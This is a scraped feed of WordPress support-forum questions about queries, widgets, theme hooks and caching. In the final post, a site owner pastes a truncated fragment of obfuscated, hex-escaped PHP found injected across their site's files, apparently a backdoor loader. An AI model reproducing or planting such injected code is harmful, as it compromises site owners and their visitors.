Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

yaydesign on "displaying dynamic query results in a not-ugly format?"

$
0
0

So I'm building a site about some semi-pro sports leagues (all within the same sport).

I've got a spreadsheet that I was planning to upload to a SQL table, where each row holds some very basic information about a single game (league, year, date, home & away teams, final score); there's roughly 2,500 games all together, spanning approximately 180 teams.

Each team has its own page, which is a custom post type. I would like to add code to the page template which would query the SQL data, pull the scores from all the games involving that one team and - here's the kicker - display it in a sortable, filterable and responsive format.

I feel like I can do different pieces of this but not everything all together. I'm looking at these plugins for potentially querying & returning the game info:

https://wordpress.org/plugins/abase/
http://wordpress.org/plugins/dbview/

...and I found a paid plugin that displays table data in a pretty hot format:

http://wpdatatables.com/responsive-tables-in-wordpress/

...but for that plugin, it seems like I would need to write and save a different query for each team, then transfer the resulting shortcode to the individual page which I would really rather not do for like 200 teams.

Could anyone point me towards a smart way to do this? I'm more of a designer than a developer, although I'm working on this project with a friend who is a database guru by trade. She has no WordPress experience, though, so while our skill sets would seem enough to do the job, we're having trouble bridging the gap. Any help would be greatly appreciated. Thanks!


f.n174 on "wordpress inserts my plugin data one into another!"

$
0
0

hi , im writing my first wordpress plugin. i created a main plugin page and 2 admin pages , and my javascript and core data are in main plugin page . my plugin creates a widget area , so users are able to insert widget into it and i get widgets from that widget area in my plugin main file.
now the problem is that when wordpress runs my plugin for first time decides to insert my javascript code in head and every time i insert new widget into that widget area wordpress inserts that with its new codes within past one !. look at code below :

<div class="numberone"><?php $widgets; ?> </div>

the output of above code(without adding any widgets to its widget area) is some thing like this :

<div class="numberone">
</div>

but when i insert widget to my widget area my code becomes something like this

<div class="numberone">
<div class="numberone">
<h1>mydiget</h1>
</div>
</div>

when i insert two widgets that becomes like this :

<div class="numberone">

<div class="numberone">
<h1>mydiget</h1>
</div>

<div class="numberone">
<h1>mydiget2</h1>
</div>

</div>

can some one tell me how to resolve that problem because i want some thing like below code :

<div class="numberone">

<h1>mydiget</h1>

<h1>mydiget2</h1>

</div>

srouse13 on "Disable or Adjust Scrolling Nav"

$
0
0

I'm running the theme Mugen for WooCommerce from Mojo Themes and am having little luck getting response from the support forum. I'm trying to disable or adjust the scrolling navigation effect because it is a bit too jumpy on my site and does not appear smooth at all. See here: https://www.omnibiotek.com

Any general ideas or places to look in the code? Already searched through the header.php and themefunctions.php but no luck.

Thanks in advance

Archaic Radio on "Query Multiple Taxonimies"

$
0
0

I'm ripping my hair out here. The code below works when I am querying two taxonomies but breaks when I add a third. Any help would be appreciated. Thanks.

$my_query = new WP_Query( array(
	'orderby' => 'rand',
	'posts_per_page' => 30,
	'post_type' => 'song',
	'tax_query' => array(
          'relation' => 'OR',
	   array(
	     'taxonomy' => 'band-name',
	     'terms' => $featband22,
	     'field' => 'term_id'
	   ),
	   array(
	     'taxonomy' => 'music-genre',
	     'terms' => $featgenre22,
	     'field' => 'term_id'
	   ),
	   array(
	     'taxonomy' => 'record-label',
	     'terms' => $featlabel22,
	     'field' => 'term_id'
	   ),
	)
));
if( $my_query->have_posts() ) {

Pete on "Hide submitted comments from everyone (including commenter) except admin"

$
0
0

I have a strange request...

I want to keep a page's comment section visible and open to the public to post comments, But I don't want anyone except the admins to be able to view the submitted comments. I don't even want the commenter to see their submitted posts.

Would anyone have a snippet of code for this?

Thanks,
Pete

vahost on "Modify popular_posts_per_category function"

$
0
0

I found the following code for adding links to posts in the same category. It works great, but I need a modification, and I don't know how to do it.

function popular_posts_per_category() {
	global $post;
	$categories = get_the_category();
	foreach($categories as $category) {
		$cats[] = $category->cat_ID;
	}
	$cats_unique = array_unique($cats);
	$args = array(
		'category__in' => $cats_unique,
		'orderby' => 'date',
		'order' => 'DESC',
		'post_type' => 'post',
		'post_status' => 'publish',
		'posts_per_page' => 50
	);
	echo '<ul>';
	$popular_posts = null;
	$popular_posts = new WP_Query($args);
	while ($popular_posts->have_posts()) : $popular_posts->the_post();
		$title_trim = get_the_title();
		if (strlen($title_trim) > 60) {
			$title_trim = substr($title_trim,0,60);
		} ?>

		<li><a href="<?php the_permalink(); ?>"><?php echo $title_trim; ?></a></li>
	<?php endwhile;
	rewind_posts();
	echo '</ul>';
}

Basically, this function returns links to posts in descending date order, newest post first. I need to modify it so that, instead of starting with the most recent post in the category, it starts with the current post as most recent and works its way back from there.

So if the current post was published on June 14, 2014, and the newest post in the category was published July 26, 2014, instead of showing the 50 most recent posts in the category starting July 26, 2014, I want it to show posts starting with the post most immediately preceding this current post, published before June 14, 2014.

Can anyone tell me how to modify this function in order to accomplish this change?

lbeckerpointio on "How to use value from form data to add option to WP database"

$
0
0

How do I save the value of some form input into an option in WordPress?

I developed a simple plugin that embeds a URL into any WordPress site. I have also created a plugin settings page following the model provided at Otto's tutorial. I have only one setting that user's can edit - the URL of the website they'd like to embed. It seems simple enough, but I cannot find where in Otto's tutorial an option is created. There is no call to add_option. So I'm not clear how to make my function work to retrieve the URL the admin has typed in from my plugin settings page:

function get_url_to_embed() {
	$options = get_option('plugin_options');
	if ($options == FALSE) {
		return "http://www.google.com/";
	}

	return $options['text_string']; // What goes inside the brackets??

}

If you didn't already understand, the default embedded URL is Google. If the admin has typed in a URL on the plugin settings page, I'd like THAT website to be embedded. How do I do this?

addr on "wirte an article with a different name"

$
0
0

Hi everyone!
I made a blog where I would like to create a name list (staff) pickable by editors, who may use them to sign articles, regardless their effective username.
Anyone knows how to do?


jeffp678 on "Hooking a function in a parent theme"

$
0
0

I've been having an issue calling a function in a child theme and hope someone can help me out.

The code I'm working with is in an includes/ folder of the parent theme

<?php

function the_review_count( $listing_id = '' ) {
    $review_count = va_get_reviews_count( $listing_id );

    echo sprintf( _n( '1 review', '%s reviews', $review_count, APP_TD ), number_format_i18n( $review_count ) );
}

function the_listing_address( $listing_id = '' ) {
    $listing_id = !empty( $listing_id ) ? $listing_id : get_the_ID();

    echo esc_html( get_post_meta( $listing_id , 'address', true ) );
}

function the_listing_tags( $before = null, $sep = ', ', $after = '' ) {
    if ( null === $before )
        $before = __( 'Tags: ', APP_TD );
    echo get_the_term_list( 0, VA_LISTING_TAG, $before, $sep, $after );
}

function the_listing_category( $listing_id = 0 ) {
    _deprecated_function( __FUNCTION__, 'Vantage 1.2', 'the_listing_categories()' );
    return the_listing_categories( $listing_id );
}

function the_listing_categories( $listing_id = 0 ) {

    $listing_id = $listing_id ? $listing_id : get_the_ID();

    $cats = get_the_listing_categories( $listing_id );
    if ( !$cats ) return;

    $_cats = array();

    foreach($cats as $cat) {
        $_cats[] = html_link( get_term_link( $cat ), $cat->name );
    }

    $cats_list = implode( ', ', $_cats);

    printf( __( 'Listed in %s', APP_TD ), $cats_list );

}

function va_listing_render_form( $listing_id, $categories ) {
    $listing_categories = array();

    if ( is_array( $categories ) ) {
        $listing_categories = array_keys( $categories );
    } else {
        $listing_categories[] = $categories;
    }

    va_render_form( $listing_categories, VA_LISTING_CATEGORY, $listing_id );
}

function the_listing_fields( $listing_id = 0 ) {
    $listing_id = $listing_id ? $listing_id : get_the_ID();

    $cats = array_keys( get_the_listing_categories( $listing_id ) );
    if ( !$cats )
        return;

    $fields = array();
    foreach($cats as $cat){
        foreach ( va_get_fields_for_cat( $cat, VA_LISTING_CATEGORY ) as $field ) {
            $fields[$field['name']] = $field;
        }
    }

    foreach( $fields as $field ) {
        if ( 'checkbox' == $field['type'] ) {
            $value = implode( ', ', get_post_meta( $listing_id, $field['name'] ) );
        } else {
            $value = get_post_meta( $listing_id, $field['name'], true );
        }

        if ( !$value )
            continue;

        $field['id_tag'] = va_make_custom_field_id_tag( $field['name'] );

        echo html( 'p', array('class' => 'listing-custom-field', 'id' => $field['id_tag']),
            html('span', array('class' => 'custom-field-label'), $field['desc'] ). html('span', array('class' => 'custom-field-sep'), ': ' ) . html('span', array('class' => 'custom-field-value'), $value ) );
    }
}

function va_make_custom_field_id_tag( $id_tag, $prefix='listing-custom-field-' ) {
    return esc_attr( $prefix . sanitize_title_with_dashes( $id_tag ) );
}

function va_the_post_byline() {
    // Can't use the_date() because it only shows up once per date
    printf( __( '%1$s | %2$s %3$s', APP_TD ),
        get_the_time( get_option( 'date_format' ) ),
        va_get_author_posts_link(),
        get_the_category_list()
    );
}

function get_the_listing_category( $listing_id = 0 ) {
    _deprecated_function( __FUNCTION__, 'Vantage 1.2', 'get_the_listing_categories()' );
    return get_the_listing_categories( $listing_id );
}

function get_the_listing_categories( $listing_id = 0 ) {
    $listing_id = $listing_id ? $listing_id : get_the_ID();

    $_terms = get_the_terms( $listing_id, VA_LISTING_CATEGORY );

    if ( !$_terms )
        return array();

    // WordPress does not always key with the term_id, but thats what we want for the key.
    $terms = array();
    foreach( $_terms as $_term ) {
        $terms[$_term->term_id] = $_term;
    }

    return $terms;
}

function the_listing_edit_link( $listing_id = 0, $text = '' ) {
    $listing_id = $listing_id ? $listing_id : get_the_ID();

    if ( !current_user_can( 'edit_post', $listing_id ) )
        return;

    if( empty( $text ) )
        $text = __( 'Edit Listing', APP_TD );

    echo html( 'a', array(
        'class' => 'listing-edit-link',
        'href' => va_get_listing_edit_url( $listing_id ),
    ), $text );
}

function the_listing_renew_link( $listing_id = 0, $text = '' ) {
    $listing_id = $listing_id ? $listing_id : get_the_ID();

    if ( !current_user_can( 'edit_post', $listing_id ) )
        return;

    if( empty( $text ) )
        $text = __( 'Renew Listing', APP_TD );

    echo html( 'a', array(
        'class' => 'listing-edit-link listing-renew-link',
        'href' => va_get_listing_renew_url( $listing_id ),
    ), $text );
}

function the_listing_claimable_link( $listing_id = '', $text = '' ) {
    $listing_id = !empty( $listing_id ) ? $listing_id : get_the_ID();
    if( !_va_is_claimable( $listing_id ) ) return;

    if( get_post_status( $listing_id ) == 'pending-claimed' ) return;

    if( empty( $text ) )
        $text = __( 'Claim Listing', APP_TD );

    echo html( 'a', array(
        'class' => 'listing-claim-link',
        'href' => va_get_listing_claim_url( $listing_id ),
    ), $text );
}

function va_get_listing_edit_url( $listing_id ) {
    global $wp_rewrite, $va_options;

    if ( $wp_rewrite->using_permalinks() ) {
        $listing_permalink = $va_options->listing_permalink;
        $permalink = $va_options->edit_listing_permalink;
        return home_url( user_trailingslashit( "$listing_permalink/$permalink/$listing_id" ) );
    }

    return home_url( "?listing_edit=$listing_id" );
}

function va_get_listing_renew_url( $listing_id ) {
    global $wp_rewrite, $va_options;

    if ( $wp_rewrite->using_permalinks() ) {
        $listing_permalink = $va_options->listing_permalink;
        $permalink = $va_options->renew_listing_permalink;
        return home_url( user_trailingslashit( "$listing_permalink/$permalink/$listing_id" ) );
    }

    return home_url( "?listing_renew=$listing_id" );
}

function the_listing_purchase_link( $listing_id = 0, $text = '' ) {
    global $va_options;

    if( ! $va_options->listing_charge )
        return;

    if( !va_any_featured_addon_enabled() )
        return;

    $listing_id = $listing_id ? $listing_id : get_the_ID();

    if ( !current_user_can( 'edit_post', $listing_id ) )
        return;

    if( empty( $text ) )
        $text = __( 'Upgrade Listing', APP_TD );

    echo html( 'a', array(
        'class' => 'listing-edit-link',
        'href' => va_get_listing_purchase_url( $listing_id ),
    ), $text );
}

function va_get_listing_purchase_url( $listing_id ) {
    global $wp_rewrite, $va_options;

    if ( $wp_rewrite->using_permalinks() ) {
        $listing_permalink = $va_options->listing_permalink;
        $permalink = $va_options->purchase_listing_permalink;
        return home_url( user_trailingslashit( "$listing_permalink/$permalink/$listing_id" ) );
    }

    return home_url( "?listing_purchase=$listing_id" );
}

function va_get_listing_claim_url( $listing_id ) {
    global $wp_rewrite, $va_options;

    if ( $wp_rewrite->using_permalinks() ) {
        $listing_permalink = $va_options->listing_permalink;
        $permalink = $va_options->claim_listing_permalink;
        return home_url( user_trailingslashit( "$listing_permalink/$permalink/$listing_id" ) );
    }

    return home_url( "?listing_claim=$listing_id" );
}

function the_listing_faves_link( $listing_id = 0 ) {
    $listing_id = $listing_id ? $listing_id : get_the_ID();
    va_display_fave_button( $listing_id );
}

function va_get_listing_create_url() {
    return get_permalink( VA_Listing_Create::get_id() );
}

function the_listing_star_rating( $post_id = '' ) {
    $rating = str_replace( '.' , '_' , va_get_rating_average( $post_id ) );

    if ( '' == $rating )
        $rating = '0';

?>
        <div class="stars-cont">
            <div class="stars stars-<?php echo $rating;  ?>"></div>
        </div>
        <meta itemprop="worstRating" content="1" />
        <meta itemprop="bestRating" content="5" />
        <meta itemprop="ratingValue" content="<?php echo esc_attr( $rating ); ?>" />
        <meta itemprop="reviewCount" content="<?php echo esc_attr( va_get_reviews_count( $post_id ) ); ?>" />
<?php
}

function the_refine_distance_ui() {
    global $va_options, $wp_query;

    $current_radius = (int) get_query_var( 'radius' );

    $geo_query = $wp_query->get( 'app_geo_query' );

    $current_radius = $geo_query['rad'];

    extract(va_calc_radius_slider_controls($current_radius));

?>
<label>
    <input name="radius" value="<?php echo esc_attr( $current_radius ); ?>" type="range" min="<?php echo $min; ?>" max="<?php echo $max; ?>" step="<?php echo $step; ?>" />
    <div class="radius-info-box"><span id="radius-info"><?php echo $current_radius; ?></span> <?php 'km' == $va_options->geo_unit ? _e( 'km', APP_TD ) : _e( 'miles', APP_TD ); ?></div>
</label>
<?php
}

function the_refine_category_ui() {
    require_once ABSPATH . '/wp-admin/includes/template.php';

    $options = array(
        'taxonomy' => VA_LISTING_CATEGORY,
        'request_var' => 'listing_cat',
    );

    $options = apply_filters( 'va_sidebar_refine_category_ui', $options );
    ob_start();
    wp_terms_checklist( 0, array(
        'taxonomy' => $options['taxonomy'],
        'selected_cats' => isset( $_GET[$options['request_var']] ) ? $_GET[$options['request_var']] : array(),
        'checked_ontop' => false
    ) );
    $output = ob_get_clean();

    $output = str_replace( 'tax_input[' . $options['taxonomy'] . ']', $options['request_var'], $output );
    $output = str_replace( 'disabled=\'disabled\'', '', $output );

    echo html( 'ul', $output );
}

function the_search_refinements() {
    appthemes_pass_request_var( array( 'orderby', 'radius', 'listing_cat' ) );
    do_action('va_header_search_refinements');
}

function va_display_logo(){
    $url = get_header_image();

    if ( $url === false ) {
        $header_image = '';
    } elseif( $url != '' ) {
        $header_image = $url;
    } else {
        $header_image = get_template_directory_uri().'/images/vantage-logo.png';
    }
?>
    <h1 id="site-title">
        <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="custom-header-image" style="height:<?php echo get_custom_header()->height; ?>px;width:<?php echo get_custom_header()->width; ?>px;background: transparent url('<?php echo $header_image; ?>') no-repeat 0 0;"><?php bloginfo( 'title' ); ?></a>
    </h1>
    <?php if( display_header_text() ) { ?>
    <h2 id="site-description" style="color:#<?php header_textcolor(); ?>;"><?php bloginfo( 'description' ); ?></h2>
    <?php } ?>
<?php
}

function va_display_navigation_menu() {

    wp_nav_menu( array(
        'menu_id'         => 'navigation',
        'theme_location' => 'header',
        'container_class' => 'menu rounded',
        'items_wrap' => '<ul id="%1$s">%3$s</ul>',
        'fallback_cb' => false
    ) );
?>
    <script type="text/javascript">
        jQuery('#navigation').tinyNav({
            active: 'current-menu-item',
            header: '<?php _e( 'Navigation', APP_TD ); ?>',
            header_href: '<?php echo esc_js( home_url( '/' ) ); ?>',
            indent: '-',
            excluded: ['#adv_categories_listing', '#adv_categories_event']
        });
    </script>
<?php
}

/**
* Taken from http://codex.wordpress.org/Template_Tags/the_author_posts_link.
* Modified to return the link instead of display it
*/
function va_get_author_posts_link() {

        global $authordata;
        if ( !is_object( $authordata ) )
                return false;
        $link = sprintf(
                '<a href="%1$s" title="%2$s" rel="author">%3$s</a>',
                get_author_posts_url( $authordata->ID, $authordata->user_nicename ),
                esc_attr( sprintf( __( 'Posts by %s', APP_TD ), get_the_author() ) ),
                get_the_author()
        );
        return apply_filters( 'the_author_posts_link', $link );
}

function va_js_redirect( $url ) {
    echo html( 'a', array( 'href' => $url ), __( 'Continue', APP_TD ) );
    echo html( 'script', 'location.href="' . $url . '"' );
}

function va_js_redirect_to_listing( $listing_id, $query_args = array() ) {
    if ( !is_admin() ) {
        $url = add_query_arg( $query_args, get_permalink( $listing_id ) );
        va_js_redirect( $url );
    }
}

function va_js_redirect_to_claimed_listing( $listing_id ) {
    if ( !is_admin() ) {
        $url = va_get_claimed_listings_url() . '#post-'. $listing_id;
        va_js_redirect( $url );
    }
}

function va_post_coords( $post_id = 0 ) {
    $post_id = $post_id ? $post_id : get_the_ID();

    $coord = va_geocode_address( $post_id, false );

    return $coord;
}

function va_post_coords_attr( $post_id = 0 ) {
    $post_id = $post_id ? $post_id : get_the_ID();

    $coord = va_post_coords( $post_id );

    $attr = '';

    if ( $coord ) {
        $attr = ' data-lat="' .$coord->lat.'" data-lng="' . $coord->lng . '" ';
    }

    return $attr;
}

function va_listings_base_url() {
    global $va_options;

    $url = '';
    $base = trailingslashit( get_bloginfo( 'url' ) );

    if ( is_tax( VA_LISTING_CATEGORY ) || is_tax( VA_LISTING_TAG ) ) {
        $url = get_term_link( get_queried_object() );
    }

    if( is_post_type_archive( VA_LISTING_PTYPE ) || va_is_home() ) {
        $url = $va_options->listing_permalink;
        $url = trailingslashit( $base . $url );
    }

    return $url;
}

function va_list_sort_dropdown( $post_type = '', $base_link = '', $default_current_sort = 'default' ) {
    global $wp_query;

    $options = array();

    if( $wp_query->post_count == 0 )
        return false;

    if ( empty( $post_type ) ) {
        $post_type = $wp_query->get('post_type');
        $post_type = !empty( $post_type ) ? $post_type : VA_LISTING_PTYPE;
    }

    $options['default'] = __( 'Default', APP_TD );

    if ( get_query_var( 'app_geo_query' ) )
        $options['distance'] = __( 'Closest', APP_TD );

    if ( $post_type == VA_LISTING_PTYPE )
        $options['highest_rating'] = __( 'Highest Rating', APP_TD );
    if ( $post_type == VA_LISTING_PTYPE )
        $options['most_ratings'] = __( 'Most Ratings', APP_TD );

    if ( va_events_enabled() ) {
        if ( $post_type == VA_EVENT_PTYPE )
            $options['event_date'] = __( 'Event Date', APP_TD );
        if ( $post_type == VA_EVENT_PTYPE )
            $options['popular'] = __( 'Popular', APP_TD );
        if ( $post_type == VA_EVENT_PTYPE )
            $options['most_comments'] = __( 'Most Comments', APP_TD );
    }

    $options['title'] = __( 'Alphabetical', APP_TD );
    $options['newest'] = __( 'Newest', APP_TD );

    if ( va_events_enabled() ) {
        if ( $post_type == VA_EVENT_PTYPE )
            $options['recently_discussed'] = __( 'Recently Discussed', APP_TD );
    }

    if ( $post_type == VA_LISTING_PTYPE )
        $options['recently_reviewed'] = __( 'Recently Reviewed', APP_TD );

    $options['rand'] = __( 'Random', APP_TD );

    $options = apply_filters('va_list_sort_ui', $options );

    $current_sort = get_va_query_var( 'orderby', false );

    // Settings backwards compatability
    if ( $current_sort == 'rating' )
        $current_sort = 'highest_rating';

    $current_sort = !empty( $current_sort ) ? $current_sort : $default_current_sort;

    $li = '';
    foreach ( $options as $value => $title ) {
        $args = array( 'data-value' => $value );

        if( $value == $current_sort ) {
            $args['class'] = 'active';
        }

        if ( !empty( $base_link ) ) {
            $href = add_query_arg( 'orderby', $value, $base_link );
        } else {
            $href = add_query_arg( 'orderby', $value );
        }

        $link = html( 'a', array( 'href' => $href  ), $title );

        $li .= html('li', $args, $link );
    }

    $top_div_text = html( 'p', array(), $options[$current_sort] );

    $top_div_control = html( 'div', array('class'=>'control') );
    $top_div = html( 'div', array( 'class' => 'va_sort_list_selected selected' ), $top_div_text . $top_div_control );

    $ul = html( 'ul', array('class'=> 'va_sort_list', 'id' =>'va_sort_list_' . $post_type ), $li );
    $list = html( 'div', array( 'class' => 'va_sort_list_wrap' ), $ul );

    ob_start();
    ?>
    <script type="text/javascript">
        jQuery('#va_sort_list_<?php echo $post_type; ?>').tinyNav({
            active: 'active',
            header: '<?php _e( 'Sort Method' , APP_TD ); ?>',
            header_href: '<?php echo add_query_arg( 'orderby', 'default' ); ?>',
            indent: '-',
            append: '#va_sort_list_container_<?php echo $post_type; ?>'
        });
    </script>
    <?php
    $js = ob_get_clean();

    return html( 'div', array( 'class' => 'va_sort_list_container', 'id' =>'va_sort_list_container_' . $post_type ), $top_div . $list . $js );;
}

function get_the_contact_listing_owner_button( $listing_id = 0 ) {
    return va_contact_post_author_button( $listing_id );
}

function the_contact_listing_owner_button( $listing_id = 0 ) {
    echo get_the_contact_listing_owner_button( $listing_id );
}

Without editing the core files of the theme, I need to edit the function va_list_sort_dropdown and remove $options['highest_rating'] = __( 'Highest Rating', APP_TD ); and $options['recently_reviewed'] = __( 'Recently Reviewed', APP_TD );

Any help with hooking that in a child functions.php would be greatly appreciated! Thank you in advance!

Givago on "Index insert image"

$
0
0

I wonder how I insert image in all posts, already predetermined.

doubleedesign on "WP_Query - filter by a variable; or limit results within an if statement"

$
0
0

Hi,

I have a post type of "Date" which includes a custom field for the date of an event. My query is to show the next 5 upcoming "Dates." I have managed to get the query to show only upcoming dates (i.e. not those in the past) by comparing the current "Date" to the custom field date and adding an if statement to only show a result if it meets that criteria. So really the query gets all upcoming "Dates" according to the posts per page in WP's reading settings, but only displays them if they are upcoming. So if I add posts_per_page to the query, it doesn't show the correct number of upcoming "Dates" because it gets that number of "Dates" prior to assessing whether the "Date" is upcoming or not.

Here is my code so far:

<?php
     $datequery = new WP_Query(array(
	'post_type' => 'lb_date',
	'orderby' => 'meta_value',
	'meta_key'=> 'lb_date',
	'order' => 'ASC'
     ));

?>

       <ul class="row">
	<?php

       while($datequery->have_posts()) : 

	   $datequery->the_post(); 

		//convert strings to integers
	    $compdate = (int)(get_field('lb_date'));
		$today = (int)(date('Ymd'));	 

		//compare
		$upcoming = ($compdate >= $today);

		if ($upcoming) {	

		?>
            <li>
                <div class="small-3 columns first">
                <?php
                    // Turn the date field into date format rather than text format
                    $date = strtotime(get_field('lb_date'));
                    // Format it the way we went and output it
                    echo date("M j, Y", ($date));
		    //echo $compdate;
                    ?>
               </div>
               <div class="small-5 columns">
                <?php the_title();?>
               </div>
               <div class="small-4 columns text-right last">
                <?php the_field('lb_comp_venue'); ?>
               </div>
               <div class="clearfix"></div>
            </li>
        <?php }
        endwhile;?>
        </ul>

I would very much appreciate appreciate any ideas on how I can show the first 5 results that meet the $upcoming criteria.

I have tried putting a counter in the if statement - so the query would still return x results, but the counter meant it would stop showing them after y results - but that didn't do anything.

Edit: I just realised that my content type and the "Date" custom field are called lb_date, could this be an issue?

dannydanny on "Google Webmaster Errors -- Theme Twenty Twelve"

$
0
0

Part 1 (part 2 below)

I'm using the theme Twenty Twelve and I have searched high and low across the Internet for the solution to my problem. I'm getting this error in google webmaster tools:

Error: Missing required field "updated".
Error: Missing required hCard "author".

My site is a site with hundreds of static PAGES, not posts. I do have a blog that goes along with the site, but I don't even have those posts indexed. I only care about the pages.

I have implemented the "entry-date updated" fix I've seen all over the place in the functions.php file (line 375; latest version of Twenty Tweleve; version 1.4). I still am getting the errors for all my static pages.

I have the message that authorship is working for the page.

However, in the "extracted structured data" section, I get the above-mentioned errors for all my site's pages.

As I said, I have authorship working. My google+ account is successfully linked with my site.

So, is there any obvious, simple fix to this problem that I'm missing?

Any help would be appreciated. I know there are multiple posts about this on the Internet and on these forums, but I can't find the fix for my specific problem.

My site: http://truthsaves.org/

Part 2 (a few days later)
I'm still working on the problem. Any assistance would be greatly appreciated. I've solved half of it.

I found this line in the content-page.php file:

<h1 class="entry-title"><?php the_title(); ?></h1>

and I changed it to this:

<h1 class="entry-title updated"><?php the_title(); ?></h1>

I just added the word updated.

Now the updated error that I posted in my original post is gone. Remember this is for the theme "twenty twelve" pages, not posts.

I still have the following error and not even sure it can be fixed! I'm sure it can. But maybe twenty twelve doesn't have any support for author markup in pages. I don't know.

Error: Missing required hCard "author".

Any help? Would love it if someone could help.

onurkinay on "check online user from username"

$
0
0

Helo WP Users,

My problem, check online user from username, like this

<?php

if($login == "user1"){

echo "user1 is login";
}
else{

echo "user1 isn't login";

}
?>

this $login, WordPress code which can be?

(Bad english because use Google translate :) )

TheChosenWong on "How to cache API requests with a limit?"

$
0
0

I'm currently pulling data from an API which is limited to 10 requests per 10 seconds. I have a table which pulls information from 10 users and a plugin called W3 Cache stores that data.

What if I have, lets say, 15 requests when I reload the page. Normally I get an error message from my requests because I went over the limit. Is there a way to cache what data it can, then slowly collect more data and fill in the table as every 10 seconds pass.

When I use W3 Cache it just caches the error message along with 10 out of 15 of my user's information.

baconchaney on "issue using wp_count_posts to style based on post quantity"

$
0
0

Hi everyone,

I am convinced I am doing something really dumb here but unfortunately I cannot figure out for the life of me where I am going wrong.

I am currently creating my own theme for my website and created a custom post type for projects to use like a portfolio. ( I haven't done any of the styling until I have finished the functionality so it is looking a little rough.) What I am trying to achieve is for the project page, if there is one post then display the post, if there is more than one post then display in a different manner and if there aren't posts then display the 404.
What appears to be happening is it is echoing the correct number of project posts but instead of outputting all three it is outputting the first post in both the =1 and the >=2 but not displaying any of the other posts. I am a bit stumped and any help would be greatly appreciated.

Thanks in advance

page with the problem
http://pastebin.com/kr0msdhi


rhj4 on "How to stop unwanted PHP Notice"

$
0
0

I have been plagued with PHP Notice messages cluttering up error_log, and I finally figured out the problem. The _doing_it_wrong function in functions.php doesn't test for E_NOTICE. The fix is very simple:

if ( WP_DEBUG && (error_reporting() & E_NOTICE) && apply_filters( 'doing_it_wrong_trigger_error', true ) ) {

A similar fix gets rid of E_DEPRECATED messages in the _deprecated_argument function.

Chris45454 on "Seperate posts by tag in 1 loop?"

$
0
0

Hello,

I have a custom page which I am using as a business listing page.

All the actual business listing posts have numerous tags, and I'm trying to figure out a way to sort them in the loop.

I want all posts that are tagged with "basic" to always be listed at the bottom of all the other posts in the loop, and be styled differently in html.

Here's a crude example:

  • Business Listing Post
  • Business Listing Post
  • Business Listing Post
  • Business Listing Post
  • (Basic) Business Listing Post
  • (Basic) Business Listing Post
  • (Basic) Business Listing Post

Is this possible?

JVZombie1990 on "Worried I've lost my website"

$
0
0

Hi guys

My website was fine yesterday. Now today I get this message "This webpage is not available". It's not my web-hosting as I've just renewed that. I'm worried I've been hacked.

declermont on "Unknown Code In All My WordPress PHP Files"

$
0
0

Hi,

There is a strange code in almost all my PHP files. I would like to know whether this is a WordPress Code or a hacker's.

I was recently alerted by my hosting provider that some scripts were causing High CPU usage. I verified and discovered that there were some folders in the Supercache I do not recognize. Also, there was an unknown Admin in my administration.

While changing my passwords and secret keys, I discovered this code in the wp.config.php and in almost all the php files. Is this a WordPress PhP?

`<?php $cxchblyfzh = 'tpqsut>j%x5c%x7825!*72!%x%x5c%x7825)}k~~~<ftmbg!osvu5c%x7825V%x5c%x7827{ftmfV%x5c%xx70%154%x69%164%50%x22%134%x78%6273]y76]258]y6g]273]y76]271]y7}%x5c%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%x78227825z>3<!fmtf!%x5c%x75c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x78!*bubE{h%x5c%x7825)j45]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbgq%x5c%x78257%x5c%x782f7#@#7%x7825j:.2^,%x5c%x7825bsset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%xc%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%qmbdf)%x5c%x7825%x5c%x7824-fldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x75c%x7824-%x5c%x7824!>!tus%x5c%x7860sf<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#27u%x5c%x7825)7fmji%x5c%x78786<C%x5x7825j:>1<%x5c%x7825j:=tjw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>82f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782fc%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;ut7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x%x7860ufh%x5c%x7860fmjg}[;ldpt%%51%x29%73", NULL); }x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]4!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5787f<*X&Z&S{ftmfV%x5{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%5c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!g27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%xx74%141%x72%164") && 